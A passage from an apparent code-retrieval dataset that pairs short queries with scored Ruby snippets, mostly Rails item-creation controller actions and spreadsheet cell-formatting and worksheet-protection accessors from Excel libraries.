"4a1d0edbd51b83710408fffe7ba86622", "score": "0.66637987", "text": "def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d8333a473745f06a8ec47f240bdbaa", "score": "0.6654199", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d8333a473745f06a8ec47f240bdbaa", "score": "0.6654199", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d8333a473745f06a8ec47f240bdbaa", "score": "0.6654199", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d8333a473745f06a8ec47f240bdbaa", "score": "0.6654199", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8d8333a473745f06a8ec47f240bdbaa", "score": "0.6654199", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b10b3eb236bf52c7d2173e64cc0785df", "score": "0.6653827", "text": "def create\n @item = Item.create!(item_params)\n end", "title": "" }, { "docid": "cc618e7485e9f4224fd699da3f024b37", "score": "0.6651696", "text": "def create\n @item = @list.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n @items = @list.items\n format.js\n else\n format.js { render json: @item.errors }\n end\n end\n end", "title": "" }, { "docid": "cb0ed518b1d08f0d07aa48ec6feb025e", "score": "0.664927", "text": "def create\n @item = Item.new(params[:item])\n save_success = @item.save\n\n respond_to do |format|\n if save_success\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2414319bf68ae9acbd1186e1874ad0bf", "score": "0.66312134", "text": "def create\n @item = Item.new(params[:item])\n @item.user_id = current_user.id\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, :notice => 'Item was successfully created.' }\n format.json { render :json => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cc7f590cf8301301d4053c3ce3f2981", "score": "0.6630229", "text": "def add_item(opts={})\n self._post('items/', item_payload(opts))\n end", "title": "" }, { "docid": "5b3300a4e1de7fc8842591ad68367cb4", "score": "0.661277", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n respond_with @item\n else\n respond_with @item.errors\n end\n end", "title": "" } ]
c61659075f3411fe9785342c8d0b347b
Gets the allowFormatCells property value. Represents the worksheet protection option of allowing formatting cells.
[ { "docid": "baf6a5522dc377041ac53e2cd4bbdbd8", "score": "0.7494204", "text": "def allow_format_cells\n return @allow_format_cells\n end", "title": "" } ]
[ { "docid": "4509848578a35b9dc7b73f209782d02d", "score": "0.69725764", "text": "def allow_format_cells=(value)\n @allow_format_cells = value\n end", "title": "" }, { "docid": "e941206cd60c75f3604b1a8e247fdf15", "score": "0.6170597", "text": "def allow_format_columns\n return @allow_format_columns\n end", "title": "" }, { "docid": "c0a878c326d62a1c3a34865cff99ed66", "score": "0.61347026", "text": "def allow_format_rows\n return @allow_format_rows\n end", "title": "" }, { "docid": "2fd9864784d673963318f3a2220d27e1", "score": "0.57390094", "text": "def allow_format_columns=(value)\n @allow_format_columns = value\n end", "title": "" }, { "docid": "6cd61419135472e27ad0bb8587d622fe", "score": "0.57244855", "text": "def allow_format_rows=(value)\n @allow_format_rows = value\n end", "title": "" }, { "docid": "b6acbbe636dcd8b887d69b8f6153e019", "score": "0.526292", "text": "def cells_for_display\n self.mask? ? cells_for_display_as_masked : cells_for_display_as_not_masked\n end", "title": "" }, { "docid": "9c3687e28c2eb99d5338f7f803ab2aa0", "score": "0.5131978", "text": "def format_masks\n @format_masks\n end", "title": "" }, { "docid": "81c443c5d32eef5f563dca61d9c923e9", "score": "0.51180303", "text": "def to_safe_format!\n sheets &:to_safe_format!\n self\n end", "title": "" }, { "docid": "1305405f12ab4fd59bc10c7adec3c057", "score": "0.5054359", "text": "def formatting\n @col_opts[:formatting]\n end", "title": "" }, { "docid": "bf7bece1a7ded107a0731d4b6c578557", "score": "0.49883145", "text": "def cells_conditional_formattings_put_worksheet_conditional_formatting(name, sheet_name, cell_area, opts = {})\n warn \"Warning: #cells_conditional_formattings_put_worksheet_conditional_formatting() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_put_worksheet_conditional_formatting_with_http_info(name, sheet_name, cell_area, opts)\n return data\n end", "title": "" }, { "docid": "2f78082807a8e312e62c370d73947335", "score": "0.48969012", "text": "def range_formatting\n attributes.fetch(:rangeFormatting)\n end", "title": "" }, { "docid": "65d4ae0afa06a5e81ea3f38c8a5a772e", "score": "0.48610845", "text": "def allowed_formats\n renderable_formats.keys\n end", "title": "" }, { "docid": "307942364dba7f42765c56c658cbad13", "score": "0.48581302", "text": "def allowed_values\n return @allowed_values\n end", "title": "" }, { "docid": "b69df879e0cd29b06879dd8ecbaa94d9", "score": "0.47113216", "text": "def allowed_actions(format=:html)\n renderable_formats[format] || []\n end", "title": "" }, { "docid": "5dff541846d67d87cab565e982bb2b95", "score": "0.47077334", "text": "def allowed_groups\n return @allowed_groups\n end", "title": "" }, { "docid": "7057bacfa24ecfd8aae9b32876df9e9d", "score": "0.46441853", "text": "def sheet_protection; end", "title": "" }, { "docid": "a61e8eedbee884d71676457ac7d649aa", "score": "0.46368104", "text": "def cells_conditional_formattings_put_worksheet_format_condition(name, sheet_name, index, cell_area, type, operator_type, formula1, formula2, opts = {})\n warn \"Warning: #cells_conditional_formattings_put_worksheet_format_condition() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_put_worksheet_format_condition_with_http_info(name, sheet_name, index, cell_area, type, operator_type, formula1, formula2, opts)\n return data\n end", "title": "" }, { "docid": "f203f43dc9fcee0437a1d59fb40a3d24", "score": "0.4629467", "text": "def document_range_formatting_provider\n attributes.fetch(:documentRangeFormattingProvider)\n end", "title": "" }, { "docid": "ca2878bb3f0643b46fd402526b24791c", "score": "0.46154535", "text": "def cells_conditional_formattings_delete_worksheet_conditional_formattings(name, sheet_name, opts = {})\n warn \"Warning: #cells_conditional_formattings_delete_worksheet_conditional_formattings() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_delete_worksheet_conditional_formattings_with_http_info(name, sheet_name, opts)\n return data\n end", "title": "" }, { "docid": "127bf629361e1b9445050c25f41cadf1", "score": "0.4586917", "text": "def to_safe_format!\n sheets { |s| s.rows { |r| r.map! { |v|\n if v.is_a?( String )\n v[0] == '=' ? v.sub( /\\A=/,\"'=\" ) : v\n else\n v.to_s\n end\n } } }; self\n end", "title": "" }, { "docid": "e4eb2cd3698b8f99415e7b29d08aa9d4", "score": "0.45705476", "text": "def cellStyles; end", "title": "" }, { "docid": "199cfe8a0b0cbc6926cf2174ddcf8360", "score": "0.45692694", "text": "def allowed_users\n return @allowed_users\n end", "title": "" }, { "docid": "cfd88fac285040bae430be3e5f0cb0ce", "score": "0.4511645", "text": "def allowed_settings\n @allowed_settings ||= []\n end", "title": "" }, { "docid": "4f6cbd527c1a9f936ef0dd9abb727545", "score": "0.45064005", "text": "def can_disable\n return @can_disable unless @can_disable.nil?\n\n c = find_config || {}\n if from_record && c.is_a?(Hash) && from_record.respond_to?(:option_type_config) && from_record.option_type_config\n pd = from_record.option_type_config.calc_reference_if c, :prevent_disable, to_record\n ane = from_record.option_type_config.calc_reference_if c, :allow_disable_if_not_editable, to_record\n else\n pd = false\n ane = false\n end\n\n @can_disable = (!pd && (!from_record || ane || from_record.can_edit?))\n end", "title": "" }, { "docid": "336ffb6949ea3a885522a3725c544816", "score": "0.44805753", "text": "def cells_conditional_formattings_put_worksheet_format_condition_condition(name, sheet_name, index, type, operator_type, formula1, formula2, opts = {})\n warn \"Warning: #cells_conditional_formattings_put_worksheet_format_condition_condition() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_put_worksheet_format_condition_condition_with_http_info(name, sheet_name, index, type, operator_type, formula1, formula2, opts)\n return data\n end", "title": "" }, { "docid": "b7bfb4b0f4d7a986f25244dc814d32e0", "score": "0.44787157", "text": "def allowed_values\n data.allowed_values\n end", "title": "" }, { "docid": "5ce2120bbc79da5a1dae33ce7c909cba", "score": "0.44569814", "text": "def protect_range(cells); end", "title": "" }, { "docid": "55a28b6f5979ec85231707e30b4da98a", "score": "0.44536406", "text": "def sheet_protection\n @sheet_protection ||= SheetProtection.new\n yield @sheet_protection if block_given?\n @sheet_protection\n end", "title": "" }, { "docid": "859c968bf4441b648cf042a24417617c", "score": "0.44058293", "text": "def allow_delete_rows\n return @allow_delete_rows\n end", "title": "" }, { "docid": "8eda6241641a06d6a7a5745e93210785", "score": "0.43778345", "text": "def xss_protection?\n xss_protection == \"1; mode=block\"\n end", "title": "" }, { "docid": "9e2b4ae489ed55055b16ffd2f9a3720f", "score": "0.43645626", "text": "def get_worksheet_conditional_formatting( get_worksheet_conditional_formatting_request, opts = {})\n\n data, _status_code, _headers = get_worksheet_conditional_formatting_request.create_http_request(@api_client,opts )\n return data\n end", "title": "" }, { "docid": "a3f56c98e8128ef983e80cb05c5defad", "score": "0.43639466", "text": "def is_bolded()\n validate_worksheet\n get_cell_font.is_bold\n end", "title": "" }, { "docid": "a3f56c98e8128ef983e80cb05c5defad", "score": "0.43639466", "text": "def is_bolded()\n validate_worksheet\n get_cell_font.is_bold\n end", "title": "" }, { "docid": "59d32bed66b726d23189f0c28197fa00", "score": "0.4328653", "text": "def get_task_allow # rubocop:disable Naming/AccessorMethodName\n @dict['get-task-allow']\n end", "title": "" }, { "docid": "3d64c8b95b3535951ee3ad08b713928e", "score": "0.43247515", "text": "def formatted_value(row, col, sheet = nil)\n key = normalize(row, col)\n safe_send(sheet_for(sheet).cells[key], :formatted_value)\n end", "title": "" }, { "docid": "0191addf3ffa1ff543792be2a7c3379d", "score": "0.43110403", "text": "def allow_printing\n return @allow_printing\n end", "title": "" }, { "docid": "8cf66c7a48ef392203b898ab77ee101f", "score": "0.43098593", "text": "def enabled?\n return ColorizingFormatter.enabled\n end", "title": "" }, { "docid": "8cf66c7a48ef392203b898ab77ee101f", "score": "0.43098593", "text": "def enabled?\n return ColorizingFormatter.enabled\n end", "title": "" }, { "docid": "5fd223b9e99824b9d2ac76e65b0590b7", "score": "0.43072468", "text": "def formats(sheet)\n format = Formats.new\n @formats.each do |v|\n sel, fmt = v[0], v[1]\n format.merge!(fmt) if selects?(sel, sheet)\n end\n format\n end", "title": "" }, { "docid": "3a9999e9b7625bbe3064df6eb746eeb4", "score": "0.43024278", "text": "def assigned_to_task_board_format\n return @assigned_to_task_board_format\n end", "title": "" }, { "docid": "1b504b737f15197dae480a2202e95ec0", "score": "0.42901215", "text": "def hash\n [ allow_deleting_column , allow_deleting_row , allow_filtering , allow_formatting_cell , allow_formatting_column , allow_formatting_row , allow_inserting_column , allow_inserting_hyperlink , allow_inserting_row , allow_sorting , allow_using_pivot_table , allow_editing_content , allow_editing_object , allow_editing_scenario , password , allow_selecting_locked_cell , allow_selecting_unlocked_cell ].hash\n end", "title": "" }, { "docid": "7b9b921b482b9f1c0ea6a0a428744b4a", "score": "0.42847693", "text": "def can_range?\n false\n end", "title": "" }, { "docid": "5094ad4908e3ec4ffb7a9a34927642b6", "score": "0.42804182", "text": "def allow_custom_assignment_schedule\n return @allow_custom_assignment_schedule\n end", "title": "" }, { "docid": "a5f14d5f0e3f8895ef41e5ce29a3a61a", "score": "0.42792162", "text": "def allowed_ips\n @attributes[:allowed_ips]\n end", "title": "" }, { "docid": "a5f14d5f0e3f8895ef41e5ce29a3a61a", "score": "0.42792162", "text": "def allowed_ips\n @attributes[:allowed_ips]\n end", "title": "" }, { "docid": "77b79c79037085e904d5efb4c1cf606f", "score": "0.42754498", "text": "def format\n if @type == :mask\n use_mask\n else\n use_formatter\n end\n end", "title": "" }, { "docid": "24343e174d29f392192d26d7e69855dd", "score": "0.42750376", "text": "def range_formatting; end", "title": "" }, { "docid": "0554276a130ced8baa7a6bb04695357f", "score": "0.42684755", "text": "def protect_range(cells)\n protected_ranges.add_range(cells)\n end", "title": "" }, { "docid": "f244e48fd992fe4104bbc3586672a7a0", "score": "0.42635208", "text": "def formatting\n attributes.fetch(:formatting)\n end", "title": "" }, { "docid": "873613a336d79a570c1f5aba227b258e", "score": "0.42511776", "text": "def format\n @table[:format]\n end", "title": "" }, { "docid": "7a2fb43b249ea592712c5e644b4afd51", "score": "0.42497933", "text": "def allowed?\n true\n end", "title": "" }, { "docid": "094a6406cb307fe451df43ffae5be20a", "score": "0.42458975", "text": "def sheet_format_pr; end", "title": "" }, { "docid": "10455d104638abf3a514c31d1607681a", "score": "0.42398793", "text": "def allow?\n return @allow if defined?(@allow)\n\n @allow = acls.all?(&:allow?)\n end", "title": "" }, { "docid": "463c6bcf1a7d8536a49e567bbca11a71", "score": "0.4232645", "text": "def getPercentStyle\n if @percentCellStyle.nil? && @workbook\n @percentCellStyle = @workbook.createCellStyle\n @percentCellStyle.setDataFormat(HSSFDataFormat.getBuiltinFormat('0.00%'))\n end\n @percentCellStyle\n end", "title": "" }, { "docid": "184f4ffa6d25c68dad37fb2bd3c2ea24", "score": "0.42156234", "text": "def allowable_values(allowable_range)\n\t\traise RuntimeError, \"#{self.class.to_s} does not implement #allowable_values\"\n\t end", "title": "" }, { "docid": "b0259dc4c94bfd1a6c820f40e754d829", "score": "0.42119363", "text": "def allows_disable\n unless can_disable\n errors.add :disable, 'of this reference is not allowed'\n return\n end\n true\n end", "title": "" }, { "docid": "a83e43b30464b276062cabf342db76ff", "score": "0.42105812", "text": "def allowed?\n true\n end", "title": "" }, { "docid": "07153d274819d214acc513b699cb3675", "score": "0.42105073", "text": "def allow_jagged_rows?\n val = @gapi.configuration.load.allow_jagged_rows\n val = false if val.nil?\n val\n end", "title": "" }, { "docid": "07153d274819d214acc513b699cb3675", "score": "0.42105073", "text": "def allow_jagged_rows?\n val = @gapi.configuration.load.allow_jagged_rows\n val = false if val.nil?\n val\n end", "title": "" }, { "docid": "b2f4aeaa8b3af7d65950322835df3b5a", "score": "0.42093217", "text": "def allow?\n false\n end", "title": "" }, { "docid": "acf02e7dc1eb4f421c0e3fe3542c0e12", "score": "0.41858587", "text": "def enabled\n @definition.Settings.Enabled\n end", "title": "" }, { "docid": "7fb5e955540fa6b0c5b5d73db06cf4b3", "score": "0.41846213", "text": "def document_range_formatting_provider; end", "title": "" }, { "docid": "f1a571e5e16c09f7a515d86415578646", "score": "0.41825607", "text": "def get_table_cell_format(request)\n begin\n data, _status_code, _headers = get_table_cell_format_with_http_info(request)\n rescue ApiError => e\n if e.code == 401\n request_token\n data, _status_code, _headers = get_table_cell_format_with_http_info(request)\n else\n raise\n end\n end\n data\n end", "title": "" }, { "docid": "836d4f2951148a6784fe97193b274825", "score": "0.41795117", "text": "def is_allow?\n true\n end", "title": "" }, { "docid": "8a47eb296c45e7386a90c8e22c269f0d", "score": "0.41779962", "text": "def format_style=(fs)\n raise ArgumentError, \"Invalid value provided for format_style.\" if ((fs < LEFT_ALIGN) || (fs > JUSTIFY))\n @format_style = fs\n end", "title": "" }, { "docid": "ebc548cd860f87e75a2f49698320f541", "score": "0.4175597", "text": "def allow_multiple_values\n return @allow_multiple_values\n end", "title": "" }, { "docid": "ebc548cd860f87e75a2f49698320f541", "score": "0.4175597", "text": "def allow_multiple_values\n return @allow_multiple_values\n end", "title": "" }, { "docid": "76a46fc53f4f12eef2775b4d3156fc1d", "score": "0.41736475", "text": "def cells_conditional_formattings_put_worksheet_format_condition_area(name, sheet_name, index, cell_area, opts = {})\n warn \"Warning: #cells_conditional_formattings_put_worksheet_format_condition_area() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_put_worksheet_format_condition_area_with_http_info(name, sheet_name, index, cell_area, opts)\n return data\n end", "title": "" }, { "docid": "4b6438ce2e3eb5d19a18cc1ff9d678c2", "score": "0.41678205", "text": "def disallowed_behavior\n @disallowed_behavior ||= [DEFAULT_BEHAVIORS[:raise]]\n end", "title": "" }, { "docid": "92ace514c79f2e501828c798020cd8d2", "score": "0.41630432", "text": "def value_allowed?(cell_index, value)\n row_index = cell_index / @size.to_i\n column_index = cell_index % @size.to_i\n return false if row_contains_value?(row_index, value)\n return false if column_contains_value?(column_index, value)\n return false if subsection_contains_value?(row_index, column_index, value)\n true\n end", "title": "" }, { "docid": "26387948863f3215698876b43c227f95", "score": "0.41493472", "text": "def format_config\n @api.configuration[:format_config] ||\n google_style_config\n end", "title": "" }, { "docid": "cd4b838a38df48385cb30c226fd3e33e", "score": "0.41440958", "text": "def get_worksheet_conditional_formattings( get_worksheet_conditional_formattings_request, opts = {})\n\n data, _status_code, _headers = get_worksheet_conditional_formattings_request.create_http_request(@api_client,opts )\n return data\n end", "title": "" }, { "docid": "996bafdad053df6f0813c314e5126697", "score": "0.41399375", "text": "def format(opts = {})\n return opts if opts.is_a?(Writeexcel::Format)\n return @default_format if !opts || opts.empty?\n\n key = opts.to_s\n @formats[key] ||= build_format(opts)\n end", "title": "" }, { "docid": "5abaf56325737d52f2fe0ab33ad1204e", "score": "0.41379738", "text": "def only_cell_option?(key)\n [:colspan].include? key\n end", "title": "" }, { "docid": "73490c388ad4826152edab625db4480f", "score": "0.41258407", "text": "def max_mines_allowed\n (self.lines * self.columns * 0.4).floor\n end", "title": "" }, { "docid": "3e0a707ea56f6ac8d76edf02dae7609f", "score": "0.41201386", "text": "def list_invalid_properties\n invalid_properties = Array.new\n if @allow_deleting_column.nil?\n invalid_properties.push(\"invalid value for 'allow_deleting_column', allow_deleting_column cannot be nil.\")\n end\n if @allow_deleting_row.nil?\n invalid_properties.push(\"invalid value for 'allow_deleting_row', allow_deleting_row cannot be nil.\")\n end\n if @allow_filtering.nil?\n invalid_properties.push(\"invalid value for 'allow_filtering', allow_filtering cannot be nil.\")\n end\n if @allow_formatting_cell.nil?\n invalid_properties.push(\"invalid value for 'allow_formatting_cell', allow_formatting_cell cannot be nil.\")\n end\n if @allow_formatting_column.nil?\n invalid_properties.push(\"invalid value for 'allow_formatting_column', allow_formatting_column cannot be nil.\")\n end\n if @allow_formatting_row.nil?\n invalid_properties.push(\"invalid value for 'allow_formatting_row', allow_formatting_row cannot be nil.\")\n end\n if @allow_inserting_column.nil?\n invalid_properties.push(\"invalid value for 'allow_inserting_column', allow_inserting_column cannot be nil.\")\n end\n if @allow_inserting_hyperlink.nil?\n invalid_properties.push(\"invalid value for 'allow_inserting_hyperlink', allow_inserting_hyperlink cannot be nil.\")\n end\n if @allow_inserting_row.nil?\n invalid_properties.push(\"invalid value for 'allow_inserting_row', allow_inserting_row cannot be nil.\")\n end\n if @allow_sorting.nil?\n invalid_properties.push(\"invalid value for 'allow_sorting', allow_sorting cannot be nil.\")\n end\n if @allow_using_pivot_table.nil?\n invalid_properties.push(\"invalid value for 'allow_using_pivot_table', allow_using_pivot_table cannot be nil.\")\n end\n if @allow_editing_content.nil?\n invalid_properties.push(\"invalid value for 'allow_editing_content', allow_editing_content cannot be nil.\")\n end\n if @allow_editing_object.nil?\n invalid_properties.push(\"invalid value for 'allow_editing_object', allow_editing_object cannot be nil.\")\n end\n if @allow_editing_scenario.nil?\n invalid_properties.push(\"invalid value for 'allow_editing_scenario', allow_editing_scenario cannot be nil.\")\n end\n if @password.nil?\n invalid_properties.push(\"invalid value for 'password', password cannot be nil.\")\n end\n if @allow_selecting_locked_cell.nil?\n invalid_properties.push(\"invalid value for 'allow_selecting_locked_cell', allow_selecting_locked_cell cannot be nil.\")\n end\n if @allow_selecting_unlocked_cell.nil?\n invalid_properties.push(\"invalid value for 'allow_selecting_unlocked_cell', allow_selecting_unlocked_cell cannot be nil.\")\n end\n\n return invalid_properties\n end", "title": "" }, { "docid": "ee7ac1965aadf0de2d761ac4e4011685", "score": "0.41141188", "text": "def secured_packet_exemption_allowed\n return @secured_packet_exemption_allowed\n end", "title": "" }, { "docid": "8deff24a307fc226e0555bded3db1734", "score": "0.4112677", "text": "def cellStyleXfs; end", "title": "" }, { "docid": "336c5c5b4f6db8e505db651338d3fcf4", "score": "0.4107479", "text": "def allow_delete_rows=(value)\n @allow_delete_rows = value\n end", "title": "" }, { "docid": "adf820ccfb9f6bcd7191bdb72d33acd3", "score": "0.41056198", "text": "def allow_ip_ranges_only?(ip_range_list)\n allow_ip_range_list(ip_range_list, true)\n end", "title": "" }, { "docid": "11fb721d5b27f16fd086ae18eab83f64", "score": "0.40918458", "text": "def get_format_property(format)\n text_h_align = {\n 1 => 'left',\n 2 => 'center/centre',\n 3 => 'right',\n 4 => 'fill',\n 5 => 'justiry',\n 6 => 'center_across/centre_across/merge',\n 7 => 'distributed/equal_space'\n }\n\n text_v_align = {\n 0 => 'top',\n 1 => 'vcenter/vcentre',\n 2 => 'bottom',\n 3 => 'vjustify',\n 4 => 'vdistributed/vequal_space'\n }\n\n return {\n :font => format.font,\n :size => format.size,\n :color => format.color,\n :bold => format.bold,\n :italic => format.italic,\n :underline => format.underline,\n :font_strikeout => format.font_strikeout,\n :font_script => format.font_script,\n :font_outline => format.font_outline,\n :font_shadow => format.font_shadow,\n :num_format => format.num_format,\n :locked => format.locked,\n :hidden => format.hidden,\n :align => format.text_h_align,\n :valign => format.text_v_align,\n :rotation => format.rotation,\n :text_wrap => format.text_wrap,\n :text_justlast => format.text_justlast,\n :center_across => format.text_h_align,\n :indent => format.indent,\n :shrink => format.shrink,\n :pattern => format.pattern,\n :bg_color => format.bg_color,\n :fg_color => format.fg_color,\n :bottom => format.bottom,\n :top => format.top,\n :left => format.left,\n :right => format.right,\n :bottom_color => format.bottom_color,\n :top_color => format.top_color,\n :left_color => format.left_color,\n :right_color => format.right_color\n }\n end", "title": "" }, { "docid": "2720595cbaef203f08aae9cae3c2783d", "score": "0.4086719", "text": "def full_allow_list\n send_to_addresses + allow_list + exception_recipients\n end", "title": "" }, { "docid": "34500f04b702a8cb76b290ccf7cef6f6", "score": "0.408112", "text": "def getformat(cell)\n cc = cell\n cf = nil\n if cc\n if cc.effective_format\n cf = cc.effective_format.background_color\n end\n end\n cf\n end", "title": "" }, { "docid": "56a472cab71af5cf9a76f5260598ed7a", "score": "0.4079919", "text": "def ansi_formatting(cell, col, row)\n if @format\n case @format.arity\n when 0\n f = @format[]\n when 1\n f = @format[cell]\n when 2 \n f = @format[col, row]\n else\n f = @format[cell, col, row]\n end\n else\n f = nil\n end\n [f].flatten.compact\n end", "title": "" }, { "docid": "455c50ea94b16237ab6a105d7caae397", "score": "0.40735337", "text": "def non_sso_groups_allowed\n @attributes[:non_sso_groups_allowed]\n end", "title": "" }, { "docid": "ac64dfc5934f54a99c90c551fdd21201", "score": "0.4069911", "text": "def sheets?\n @gapi.source_format == \"GOOGLE_SHEETS\"\n end", "title": "" }, { "docid": "73b873f5891c8e491c92fad47e49c913", "score": "0.40602574", "text": "def get_format_key\n [get_font_key, get_border_key, get_fill_key, get_alignment_key, @num_format, @locked, @hidden].join(':')\n end", "title": "" }, { "docid": "81e6038f625a81af4c99a6b94aeb326f", "score": "0.40573823", "text": "def cells_conditional_formattings_put_worksheet_conditional_formatting_with_http_info(name, sheet_name, cell_area, opts = {})\n warn \"Warning: #cells_conditional_formattings_put_worksheet_conditional_formatting_with_http_info() is deprecated.\"\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CellsApi.cells_conditional_formattings_put_worksheet_conditional_formatting ...\"\n end\n @api_client.request_token_if_needed\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling CellsApi.cells_conditional_formattings_put_worksheet_conditional_formatting\"\n end\n # verify the required parameter 'sheet_name' is set\n if @api_client.config.client_side_validation && sheet_name.nil?\n fail ArgumentError, \"Missing the required parameter 'sheet_name' when calling CellsApi.cells_conditional_formattings_put_worksheet_conditional_formatting\"\n end\n # verify the required parameter 'cell_area' is set\n if @api_client.config.client_side_validation && cell_area.nil?\n fail ArgumentError, \"Missing the required parameter 'cell_area' when calling CellsApi.cells_conditional_formattings_put_worksheet_conditional_formatting\"\n end\n # resource path\n local_var_path = \"/cells/{name}/worksheets/{sheetName}/conditionalFormattings\".sub('{' + 'name' + '}', name.to_s).sub('{' + 'sheetName' + '}', sheet_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'cellArea'] = cell_area\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storageName'] = opts[:'storage_name'] if !opts[:'storage_name'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'format_condition'])\n #auth_names = []\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CellsCloudResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CellsApi#cells_conditional_formattings_put_worksheet_conditional_formatting\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0cac0b016b95f555632c622a20f9db9f", "score": "0.40570945", "text": "def sheet?\n true\n end", "title": "" }, { "docid": "59d8a74297dc6e548e6257fd1a67011d", "score": "0.4055805", "text": "def format_cell(cell)\n cell.is_a?(Integer) ? \" \" + cell.to_s + \" \" : \" |\" + cell.to_s + \"| \"\n end", "title": "" }, { "docid": "9def6706ca39d84d537a285abb9ec233", "score": "0.40556931", "text": "def cells_conditional_formattings_delete_worksheet_conditional_formatting_area(name, sheet_name, start_row, start_column, total_rows, total_columns, opts = {})\n warn \"Warning: #cells_conditional_formattings_delete_worksheet_conditional_formatting_area() is deprecated.\"\n data, _status_code, _headers = cells_conditional_formattings_delete_worksheet_conditional_formatting_area_with_http_info(name, sheet_name, start_row, start_column, total_rows, total_columns, opts)\n return data\n end", "title": "" }, { "docid": "3ea7ded8d96e8935b04df3c9f2559ba2", "score": "0.4055146", "text": "def editable?\n is_new_format?\n end", "title": "" }, { "docid": "7b158c2e60096e30289a55491f06f699", "score": "0.40544894", "text": "def is_italicized()\n validate_worksheet\n get_cell_font.is_italic\n end", "title": "" }, { "docid": "7b158c2e60096e30289a55491f06f699", "score": "0.40544894", "text": "def is_italicized()\n validate_worksheet\n get_cell_font.is_italic\n end", "title": "" }, { "docid": "c37d79260ad1170d4ab86b26fce1c4fb", "score": "0.4048424", "text": "def macro?\n @spreadsheet.formatting && @spreadsheet.formatting[@column_name].is_a?(Hash)\n end", "title": "" }, { "docid": "19ae78b323d339e6d210349c44b31f5b", "score": "0.40425396", "text": "def excelx_format(row,col,sheet=nil)\n sheet ||= @default_sheet\n read_cells(sheet)\n row,col = normalize(row,col)\n s = @s_attribute[sheet][[row,col]]\n attribute2format(s).to_s\n end", "title": "" }, { "docid": "71605d019dde6e0e3427484768cbc451", "score": "0.4042437", "text": "def allow_batch?\n return false unless current_ability.can?(:edit, solr_document)\n !disable_delete?\n end", "title": "" }, { "docid": "af5279c080aa594a4a1f12aaeae5ed02", "score": "0.4041834", "text": "def can_have_cells?\n !definition['cells'].blank?\n end", "title": "" }, { "docid": "af5279c080aa594a4a1f12aaeae5ed02", "score": "0.4041834", "text": "def can_have_cells?\n !definition['cells'].blank?\n end", "title": "" }, { "docid": "09ab982fe3486c1b05b289fc0e868d75", "score": "0.40342125", "text": "def bucket_task_board_format\n return @bucket_task_board_format\n end", "title": "" } ]
99187f019337f8ca4e9629fe7f1b2ece
store a html version of _self_ marked up for syntax highlighting
